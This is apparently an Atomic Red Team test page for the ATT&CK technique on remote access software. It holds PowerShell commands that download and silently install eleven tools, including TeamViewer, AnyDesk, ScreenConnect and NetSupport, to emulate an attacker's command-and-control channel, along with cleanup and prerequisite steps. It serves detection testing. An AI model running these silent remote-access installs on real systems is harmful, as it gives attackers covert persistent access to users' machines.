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Remote Access Software

Description from ATT&CK

An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as 

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VNC
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Team Viewer
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AnyDesk
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ScreenConnect
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LogMein
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AmmyyAdmin
, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.(Citation: Symantec Living off the Land)(Citation: CrowdStrike 2015 Global Threat Report)(Citation: CrySyS Blog TeamSpy)

Remote access software may be installed and used post-compromise as an alternate communications channel for redundant access or as a way to establish an interactive remote desktop session with the target system. They may also be used as a component of malware to establish a reverse connection or back-connect to a service or adversary controlled system.

Adversaries may similarly abuse response features included in EDR and other defensive tools that enable remote access.

Installation of many remote access software may also include persistence (e.g., the software's installation routine creates a Windows Service).

Atomic Tests

Atomic Test #1 - TeamViewer Files Detected Test on Windows

An adversary may attempt to trick the user into downloading teamviewer and using this to maintain access to the machine. Download of TeamViewer installer will be at the destination location when sucessfully executed.

Supported Platforms: windows

auto_generated_guid: 8ca3b96d-8983-4a7f-b125-fc98cc0a2aa0

Inputs:

None

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

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Invoke-WebRequest -OutFile C:\Users\$env:username\Desktop\TeamViewer_Setup.exe https://download.teamviewer.com/download/TeamViewer_Setup.exe
$file1 = "C:\Users\" + $env:username + "\Desktop\TeamViewer_Setup.exe"
Start-Process -Wait $file1 /S; 
Start-Process 'C:\Program Files (x86)\TeamViewer\TeamViewer.exe'

Cleanup Commands:

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$file = 'C:\Program Files (x86)\TeamViewer\uninstall.exe'
if(Test-Path $file){ Start-Process $file "/S" -ErrorAction Ignore | Out-Null }
$file1 = "C:\Users\" + $env:username + "\Desktop\TeamViewer_Setup.exe"
Remove-Item $file1 -ErrorAction Ignore | Out-Null

Atomic Test #2 - AnyDesk Files Detected Test on Windows

An adversary may attempt to trick the user into downloading AnyDesk and use to establish C2. Download of AnyDesk installer will be at the destination location and ran when sucessfully executed.

Supported Platforms: windows

auto_generated_guid: 6b8b7391-5c0a-4f8c-baee-78d8ce0ce330

Inputs:

None

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

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Invoke-WebRequest -OutFile C:\Users\$env:username\Desktop\AnyDesk.exe https://download.anydesk.com/AnyDesk.exe
$file1 = "C:\Users\" + $env:username + "\Desktop\AnyDesk.exe"
Start-Process $file1 /S;

Cleanup Commands:

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$file1 = "C:\Users\" + $env:username + "\Desktop\AnyDesk.exe"
Remove-Item $file1 -ErrorAction Ignore

Atomic Test #3 - LogMeIn Files Detected Test on Windows

An adversary may attempt to trick the user into downloading LogMeIn and use to establish C2. Download of LogMeIn installer will be at the destination location and ran when sucessfully executed.

Supported Platforms: windows

auto_generated_guid: d03683ec-aae0-42f9-9b4c-534780e0f8e1

Inputs:

None

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

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Invoke-WebRequest -OutFile C:\Users\$env:username\Desktop\LogMeInIgnition.msi https://secure.logmein.com/LogMeInIgnition.msi
$file1 = "C:\Users\" + $env:username + "\Desktop\LogMeInIgnition.msi"
Start-Process -Wait $file1 /quiet;
Start-Process 'C:\Program Files (x86)\LogMeIn Ignition\LMIIgnition.exe' "/S"

Cleanup Commands:

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get-package *'LogMeIn Client'* -ErrorAction Ignore | uninstall-package 
$file1 = "C:\Users\" + $env:username + "\Desktop\LogMeInIgnition.msi"
Remove-Item $file1 -ErrorAction Ignore

Atomic Test #4 - GoToAssist Files Detected Test on Windows

An adversary may attempt to trick the user into downloading GoToAssist and use to establish C2. Download of GoToAssist installer will be at the destination location and ran when sucessfully executed.

Supported Platforms: windows

auto_generated_guid: 1b72b3bd-72f8-4b63-a30b-84e91b9c3578

Inputs:

None

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

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Invoke-WebRequest -OutFile C:\Users\$env:username\Downloads\GoToAssist.exe "https://launch.getgo.com/launcher2/helper?token=e0-FaCddxmtMoX8_cY4czssnTeGvy83ihp8CLREfvwQshiBW0_RcbdoaEp8IA-Qn8wpbKlpGIflS-39gW6RuWRM-XHwtkRVMLBsp5RSKp-a3PBM-Pb1Fliy73EDgoaxr-q83WtXbLKqD7-u3cfDl9gKsymmhdkTGsXcDXir90NqKj92LsN_KpyYwV06lIxsdRekhNZjNwhkWrBa_hG8RQJqWSGk6tkZLVMuMufmn37eC2Cqqiwq5bCGnH5dYiSUUsklSedRLjh4N46qPYT1bAU0qD25ZPr-Kvf4Kzu9bT02q3Yntj02ZA99TxL2-SKzgryizoopBPg4Ilfo5t78UxKTYeEwo4etQECfkCRvenkTRlIHmowdbd88zz7NiccXnbHJZehgs6_-JSVjQIdPTXZbF9T5z44mi4BQYMtZAS3DE86F0C3D4Tcd7fa5F6Ve8rQWt7pvqFCYyiJAailslxOw0LsGyFokoy65tMF980ReP8zhVcTKYP8s8mhGXihUQJQPNk20Sw&downloadTrigger=restart&renameFile=1"
$file1 = "C:\Users\" + $env:username + "\Downloads\GoToAssist.exe"
Start-Process $file1 /S;

Cleanup Commands:

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try{"$PathToAtomicsFolder/T1219/bin/GoToCleanup.ps1"} catch{}

Atomic Test #5 - ScreenConnect Application Download and Install on Windows

An adversary may attempt to trick the user into downloading ScreenConnect for use as a C2 channel. Download of ScreenConnect installer will be in the Downloads directory. Msiexec will be used to quietly insall ScreenConnect.

Supported Platforms: windows

auto_generated_guid: 4a18cc4e-416f-4966-9a9d-75731c4684c0

Inputs:

None

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

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$installer = "C:\Users\$env:username\Downloads\ScreenConnect.msi"
Invoke-WebRequest -OutFile $installer "https://d1kuyuqowve5id.cloudfront.net/ScreenConnect_21.11.4237.7885_Release.msi"
msiexec /i $installer /qn

Cleanup Commands:

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$installer = "C:\Users\$env:username\Downloads\ScreenConnect.msi"
msiexec /x $installer /qn

Atomic Test #6 - Ammyy Admin Software Execution

An adversary may attempt to trick the user into downloading Ammyy Admin Remote Desktop Software for use as a C2 channel. Upon successful execution, Ammyy Admin will be executed.

Supported Platforms: windows

auto_generated_guid: 0ae9e327-3251-465a-a53b-485d4e3f58fa

Inputs:

Name Description Type Default Value
Ammyy_Admin_Path Path of Ammyy Admin executable path PathToAtomicsFolder..\ExternalPayloads\ammyy.exe

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

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Start-Process "#{Ammyy_Admin_Path}"

Cleanup Commands:

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Stop-Process -Name "Ammyy" -force -erroraction silentlycontinue

Dependencies: Run with powershell!

Description: Ammyy Admin must exist on disk at the specified location (#{Ammyy_Admin_Path})

Check Prereq Commands:

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if (Test-Path "#{Ammyy_Admin_Path}") {exit 0} else {exit 1}

Get Prereq Commands:

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New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://web.archive.org/web/20140625232737/http://www.ammyy.com/AA_v3.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\ammyy.exe" -UseBasicParsing

Atomic Test #7 - RemotePC Software Execution

An adversary may attempt to trick the user into downloading RemotePC Software for use as a C2 channel. Upon successful execution, RemotePC will be executed.

Supported Platforms: windows

auto_generated_guid: fbff3f1f-b0bf-448e-840f-7e1687affdce

Inputs:

Name Description Type Default Value
RemotePC_Path Path of RemotePC executable path PathToAtomicsFolder..\ExternalPayloads\RemotePC.exe

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

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Start-Process "#{RemotePC_Path}"

Cleanup Commands:

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Unregister-ScheduledTask -TaskName "RemotePC" -Confirm:$False -ErrorAction SilentlyContinue
Unregister-ScheduledTask -TaskName "RPCServiceHealthCheck" -Confirm:$False -ErrorAction SilentlyContinue
Unregister-ScheduledTask -TaskName "ServiceMonitor" -Confirm:$False -ErrorAction SilentlyContinue
Unregister-ScheduledTask -TaskName "StartRPCService" -Confirm:$False -ErrorAction SilentlyContinue      
Stop-Process -Name "RemotePCPerformance" -force -erroraction silentlycontinue
Stop-Process -Name "RPCPerformanceService" -force -erroraction silentlycontinue
Stop-Process -Name "RemotePCUIU" -force -erroraction silentlycontinue
Stop-Process -Name "RPCDownloader" -force -erroraction silentlycontinue
Stop-Process -Name "RemotePCService" -force -erroraction silentlycontinue
Stop-Process -Name "RPCService" -force -erroraction silentlycontinue

Dependencies: Run with powershell!

Description: RemotePC must exist on disk at the specified location (#{RemotePC_Path})

Check Prereq Commands:

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if (Test-Path "#{RemotePC_Path}") {exit 0} else {exit 1}

Get Prereq Commands:

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New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://static.remotepc.com/downloads/rpc/140422/RemotePC.exe" -OutFile "#{RemotePC_Path}" -UseBasicParsing

Atomic Test #8 - NetSupport - RAT Execution

A recent trend by threat actors, once a foothold is established, maintain long term persistence using third party remote services such as NetSupport to provide the operator with access to the network using legitimate services.

Supported Platforms: windows

auto_generated_guid: ecca999b-e0c8-40e8-8416-ad320b146a75

Inputs:

Name Description Type Default Value
NetSupport_Path Path to the NetSupport executable. path PathToAtomicsFolder..\ExternalPayloads\T1219_NetSupport.exe

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

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Start-Process "#{NetSupport_Path}" -ArgumentList "/S /v/qn"

Cleanup Commands:

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Stop-Process -Name "client32" -force -erroraction silentlycontinue

Dependencies: Run with powershell!

Description: NetSupport must be downloaded and exist on the disk at the specified location. (#{NetSupport_Path})

Check Prereq Commands:

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if (Test-Path "#{NetSupport_Path}") {exit 0} else {exit 1}

Get Prereq Commands:

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New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
(New-Object Net.WebClient).DownloadFile("https://nsproducts.azureedge.net/nsm-1270/en/Setup.exe","#{NetSupport_Path}")

Atomic Test #9 - UltraViewer - RAT Execution

A recent trend by threat actors, once a foothold is established, maintain long term persistence using third party remote services such as UltraViewer to provide the operator with access to the network using legitimate services.

Supported Platforms: windows

auto_generated_guid: 19acf63b-55c4-4b6a-8552-00a8865105c8

Inputs:

Name Description Type Default Value
UltraViewer_Path Path to the UltraViewer executable. path PathToAtomicsFolder..\ExternalPayloads\T1219_UltraViewer.exe

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

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Start-Process -Wait -FilePath "#{UltraViewer_Path}" -Argument "/silent" -PassThru
Start-Process 'C:\Program Files (x86)\UltraViewer\UltraViewer_Desktop.exe'

Cleanup Commands:

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Stop-Process -Name "UltraViewer_Desktop" -Force -ErrorAction SilentlyContinue

Dependencies: Run with powershell!

Description: Ultraviewer installer must be downloaded and exist on the disk at the specified location. (#{UltraViewer_Path})

Check Prereq Commands:

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if (Test-Path "#{UltraViewer_Path}") {exit 0} else {exit 1}

Get Prereq Commands:

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New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
(New-Object Net.WebClient).DownloadFile("https://www.ultraviewer.net/en/UltraViewer_setup_6.5_en.exe","#{UltraViewer_Path}")

Atomic Test #10 - UltraVNC Execution

An adversary may attempt to trick the user into downloading UltraVNC for use as a C2 channel. Upon successful execution, UltraVNC will be executed.

Supported Platforms: windows

auto_generated_guid: 42e51815-a6cc-4c75-b970-3f0ff54b610e

Inputs:

Name Description Type Default Value
UltraVNC_Viewer_Path Path of UltraVNC Viewer executable path $env:ProgramFiles\'uvnc bvba\UltraVnc\vncviewer.exe'

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

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Start-Process #{UltraVNC_Viewer_Path}

Cleanup Commands:

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Stop-Process -Name "vncviewer" -force -erroraction silentlycontinue

Dependencies: Run with powershell!

Description: UltraVNC must exist at (#{UltraVNC_Viewer_Path})

Check Prereq Commands:

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if (Test-Path #{UltraVNC_Viewer_Path}) {exit 0} else {exit 1}

Get Prereq Commands:

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New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://www.uvnc.eu/download/1381/UltraVNC_1_3_81_X64_Setup.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\vncsetup.exe"
start-process "PathToAtomicsFolder\..\ExternalPayloads\vncsetup.exe" /silent

Atomic Test #11 - MSP360 Connect Execution

An adversary may attempt to trick the user into downloading MSP360 Connect for use as a C2 channel. Upon successful execution, MSP360 Connect will be executed.

Supported Platforms: windows

auto_generated_guid: b1b8128b-c5d4-4de9-bf70-e60419274562

Inputs:

Name Description Type Default Value
MSP360_Connect_Path Path of MSP360 executable path $env:ProgramFiles\Connect\Connect.exe

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

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Start-Process #{MSP360_Connect_Path}

Cleanup Commands:

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Stop-Process -Name "Connect" -force -erroraction silentlycontinue

Dependencies: Run with powershell!

Description: MSP360 must exist at (#{MSP360_Connect_Path})

Check Prereq Commands:

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if (Test-Path #{MSP360_Connect_Path}) {exit 0} else {exit 1}

Get Prereq Commands:

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New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest -OutFile "PathToAtomicsFolder\..\ExternalPayloads\msp360connect.exe" "https://s3.amazonaws.com/cb_setups/_current/cbra/setup.exe?X-Amz-Expires=604800&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIA2WIZE3YN7NOSY65U/20230515/us-east-1/s3/aws4_request&X-Amz-Date=20230515T024742Z&X-Amz-SignedHeaders=host&response-content-disposition=attachment;filename=ConnectStandaloneSetup_v3.3.0.15_netv4.5.1_cFA9100C6.exe&X-Amz-Signature=1fe3ddf93f8431b182fac90341f80a4ebf8665ddcc0e36dd385ee20d0ce865c9"
start-process "PathToAtomicsFolder\..\ExternalPayloads\msp360connect.exe" /S

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